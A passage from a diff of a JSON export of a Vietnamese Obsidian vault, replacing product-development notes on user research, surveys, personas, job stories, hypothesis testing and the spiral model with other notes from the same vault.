"Toàn bộ nội dung": "Khái niệm:: \n\n[[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T12:18:00.000Z", - "id": "JS" + "Ngày cập nhật": "2024-07-21T15:02:00.000Z", + "id": "Jg" }, { - "Tiêu đề": "Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch", + "Tiêu đề": "Các công ty không quan tâm đến tính năng chuyên biệt", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Các công ty không quan tâm đến tính năng chuyên biệt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n[[Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T12:01:00.000Z", - "id": "JT" + "Ngày cập nhật": "2023-11-07T12:22:00.000Z", + "id": "Jh" }, { - "Tiêu đề": "Mô hình kinh doanh và định giá", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Mô hình kinh doanh và định giá", + "Tiêu đề": "Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://youtu.be/oWZbWzAyHAE?si=KOV5J4cCtuDA-Yk8)", + "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], [Kirsty Nathoo - Managing Startup Finances - YouTube](https://youtu.be/LBC16jhiwak?si=VigBiPnmqdD1Bx-k&t=1059)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JU" + "Ngày cập nhật": "2023-11-26T15:34:00.000Z", + "id": "Ji" }, { - "Tiêu đề": "Nghiên cứu, tìm ý tưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Nghiên cứu, tìm ý tưởng", + "Tiêu đề": "Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Zalo] Quản lý chi tiêu nhóm](https://ptdat.notion.site/Zalo-Qu-n-l-chi-ti-u-nh-m-1e3961ef2cd040858538ffbb1dbedd3d)\n# Nghiên cứu Overview\n \n```ccard\ntype: folder_brief_live\n```\n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JV" + "Ngày tạo": "2023-09-09T16:39:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Jj" }, { - "Tiêu đề": "Dữ liệu cho dự đoán tin cậy về hành vi người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Dữ liệu cho dự đoán tin cậy về hành vi người dùng", + "Tiêu đề": "Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tuy vậy, [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JW" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-01-07T13:27:00.000Z", + "id": "Jk" }, { - "Tiêu đề": "Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó", + "Tiêu đề": "Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ, bằng dữ liệu, ta có thể biết một người dùng ứng dụng bao nhiêu lần một tháng, nhưng lại không biết họ dùng thế là nhiều hay ít, họ có dùng các sản phẩm của đối thủ cùng lúc không. Họ buộc phải dùng, chỉ dùng khi bất đắc dĩ, hay họ đang rất hào hứng. [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]], còn [[Dữ liệu cho dự đoán tin cậy về hành vi người dùng]]\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JX" + "Ngày tạo": "2023-09-09T16:43:00.000Z", + "Ngày cập nhật": "2023-12-10T14:44:00.000Z", + "id": "Jl" }, { - "Tiêu đề": "Có 4 loại câu hỏi: đặc điểm, thái độ, lòng tin, hành vi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Có 4 loại câu hỏi – đặc điểm, thái độ, lòng tin, hành vi", + "Tiêu đề": "Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Bài giảng: Thiết kế câu hỏi khảo sát - YouTube](https://youtu.be/mCEzJTBYAFo?si=MdeGpKy7dQHLWTBq&t=582)", + "Toàn bộ nội dung": "[[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]]\n\n[[Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ]]\n[[Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo]]. [[Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có]]\n[[Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp]]\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-25T07:42:00.000Z", - "id": "JY" + "Ngày tạo": "2023-07-14T04:05:00.000Z", + "Ngày cập nhật": "2023-12-01T14:47:00.000Z", + "id": "Jm" }, { - "Tiêu đề": "Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn", + "Tiêu đề": "Giả định có mặt ở khắp nơi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Giả định có mặt ở khắp nơi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "[[Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Giả định đến từ trực giác]]\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JZ" + "Ngày cập nhật": "2024-06-21T15:10:00.000Z", + "id": "Jn" }, { - "Tiêu đề": "Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi", + "Tiêu đề": "Hãy liệt kê những niềm tin trước khi phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Hãy liệt kê những niềm tin trước khi phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "[[Giả định có mặt ở khắp nơi]]\nNguồn:: [[Hoàng Đức Minh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:42:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Ja" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-28T04:09:00.000Z", + "id": "Jo" }, { - "Tiêu đề": "Khảo sát định lượng chỉ có tính chính xác tương đối", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát định lượng chỉ có tính chính xác tương đối", + "Tiêu đề": "Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sản phẩm chưa ra đời mà có người nhận làm khảo sát thì họ phải rất rảnh hoặc rất quý mình\n[[Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình]]\n[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "[[Hãy liệt kê những niềm tin trước khi phỏng vấn]]\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jb" + "Ngày cập nhật": "2023-11-28T04:09:00.000Z", + "id": "Jp" }, { - "Tiêu đề": "Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được", + "Tiêu đề": "Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Bài giảng: Thiết kế câu hỏi khảo sát - YouTube](https://youtu.be/mCEzJTBYAFo?si=0dXoU17UnWIeAHXC&t=884)", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-25T07:52:00.000Z", - "id": "Jc" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-28T04:09:00.000Z", + "id": "Jq" }, { - "Tiêu đề": "Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới", + "Tiêu đề": "Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Với người dùng thì đó là sự tiêu cực, còn với người làm sản phẩm thì đó là cơ hội. Nếu người dùng đã thoả mãn rồi thì cũng không còn gì để cải thiện\n[[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]] \nNguồn:: [[Hoàng Đức Minh]]\n[[Sự tiêu cực của người dùng là cơ hội làm dự án]]\n[[Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định]]\n", + "Toàn bộ nội dung": "Nguồn:: [[ABG Open Special 2023]], Hà Đăng Sơn\n[[Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jd" + "Ngày tạo": "2023-05-28T15:50:00.000Z", + "Ngày cập nhật": "2023-11-08T11:15:00.000Z", + "id": "Jr" }, { - "Tiêu đề": "Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định", + "Tiêu đề": "Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lwr2g0HvLOVr5IPVNoYxLg.png) \nNguồn:: [Fetching Title#roh6](https://jtbd.info/replacing-the-user-story-with-the-job-story-af7cdee10c27)\n\n[[Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)]] \nNguồn:: ![Jobs to be Done: from Doubter to Believer by Sian Townsend at Front 2016 in Salt Lake City, Utah - YouTube](https://youtu.be/VNTW_9mFM7k)\n\nCâu hỏi:: [[❓Persona khác gì với segmentation]]", + "Toàn bộ nội dung": "Nguồn:: [[Bret Victor]], [Up and Down the Ladder of Abstraction](http://worrydream.com/LadderOfAbstraction/)\n\n[[Người dùng bấm bao nhiêu lần cũng được, miễn là tự tin mình đang đi đúng hướng]]\n[[Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ]]. [[Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời]] \n[[Nhiều khi để trả lời được một câu hỏi ta phải tìm hiểu cả một lĩnh vực]] \n[[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n[[Giả định có mặt ở khắp nơi]]. [[Giả định đến từ trực giác]]\n[[Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]\n\n[[Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động]]\n\n[[Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới]]\n[[Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n[[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T06:39:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Je" + "Ngày tạo": "2023-10-22T14:45:00.000Z", + "Ngày cập nhật": "2024-08-02T08:33:00.000Z", + "id": "Js" }, { - "Tiêu đề": "Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó", + "Tiêu đề": "Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Segmentation là 1 nhóm user, còn persona thường được hiểu là 1 chân dung có tính đại diện của nhóm đó. Ví dụ với sản phẩm túi vải không dệt, target vào 2 segment chính là nhóm phụ nữ đi chợ tiết kiệm và nhóm 2 giới trẻ yêu môi trường, trong nhóm này thì persona có thể bao gồm anh A, 1 chủ tịch CLB môi trường sinh ở ĐH, 1 chị B, là người ăn chay nhiều năm, chủ 1 quán chay.\n\nNguồn:: [[Hoàng Đức Minh]]\n[[❓Persona là exemplar của segmentation]]", + "Toàn bộ nội dung": "[[Giả định có mặt ở khắp nơi]]\nNguồn:: [[Hoàng Đức Minh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jf" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-28T04:09:00.000Z", + "id": "Jt" }, { - "Tiêu đề": "Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)", + "Tiêu đề": "Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Câu chuyện người dùng:\n![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lwr2g0HvLOVr5IPVNoYxLg.png) \n\nCâu chuyện công việc:\n![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ua_egpJ6K1fCAQ_hY5UHAA.png) \n\n[[Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì]] \nNguồn:: [Replacing The User Story With The Job Story | by Alan Klement | Jobs to be Done](https://jtbd.info/replacing-the-user-story-with-the-job-story-af7cdee10c27)", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T06:47:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jg" + "Ngày tạo": "2023-09-09T16:44:00.000Z", + "Ngày cập nhật": "2023-11-17T15:29:00.000Z", + "id": "Ju" }, { - "Tiêu đề": "❓Persona khác gì với segmentation", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/❓Persona khác gì với segmentation", + "Tiêu đề": "Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \nMô hình xoắn ốc (Spiral model) có thể được xem là sự kết hợp giữa mô hình thác nước (Waterfall model) và mô hình mẫu (Prototype model) và đồng thời thêm phân tích rủi ro (Risk assessment).\n\nTrong mô hình xoắn ốc, quy trình phát triển phần mềm được biểu diễn như một vòng xoắn ốc. Các phase trong quy trình phát triển xoắn ốc bao gồm:\n\n- **Thiết lập mục tiêu**: xác định mục tiêu cho từng pha của dự án.\n- **Đánh giá và giảm thiểu rủi ro**: rủi ro được đánh giá và thực hiện các hành động để giảm thiểu rủi ro.\n- **Phát triển và đánh giá**: sau khi đánh giá rủi ro, một mô hình xây dựng hệ thống sẽ được lựa chọn từ những mô hình chung.\n- **Lập kế hoạch**: đánh giá dự án và phase tiếp theo của mô hình xoắn ốc sẽ được lập kế hoạch.\n\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1152,h_736/https://lcdung.top/wp-content/uploads/2018/06/The-Boehms-spiral-model.png)\n\n## Mô hình xoắn ốc cải tiến\n\n- Mô hình xoáy ốc là cải tiến của mô hình tuần tự và mẫu thử, them vào phân tích rủi ro.\n- Là quá trình lặp hướng mở rộng, hoàn thiện dần.\n- Lập kế hoạch: xác lập vấn đề, tài nguyên, thời hạn\n- Phân tích rủi ro: xem xét mạo hiểm, tìm giải pháp\n- Kỹ nghệ: phát triển một phiên bản của phần mềm( chọn mô hình thích hợp)\n- Đánh giá của khách: khách hang đánh giá phiên bản phát triển.\n\n## Kết quả đạt được\n\n- Sau mỗi lần tăng vòng thì có thể chuyển giao kết quả thực hiện được cho khách hành nên các chức năng của hệ thống có thể nhìn thấy sớm hơn.\n- Các vòng trước đóng vai trò là mẫu thử để giúp tìm hiểu thêm các yêu cầu ở những vòng tiếp theo.\n\n### Ưu điểm\n\n- Phân tích rủi ro dự án được đầy lên làm một phần thiết yếu trong quy trình xoắn ốc để tăng độ tin cậy của dự án.\n- Xây dựng dự án có sự kết hợp các mô hình khác vào phát triển (Thác nứơc, mô hình mẫu…)\n- Cho phép thay đổi tuỳ theo yêu cầu cho mỗi vòng xoắn ốc.\n- Nó được xem như là một mô hình tổng hợp của các mô hình khác.\n- Không chỉ áp dụng cho phần mềm mà còn phải cho cả phần cứng.\n- Một rủi ro nào đó không được giải quyết thì chấm dứt dự án.\n- Các vòng tròn được lặp để đáp ưng được những thay đổi của người dùng\n- Kiểm soát rủi ro ở từng giai đoạn phát triển.\n- Đánh giá tri phí chính xác hơn các phương pháp khác\n\n### Nhược điểm:\n\n- Phức tạp và không thích hợp với các dự án 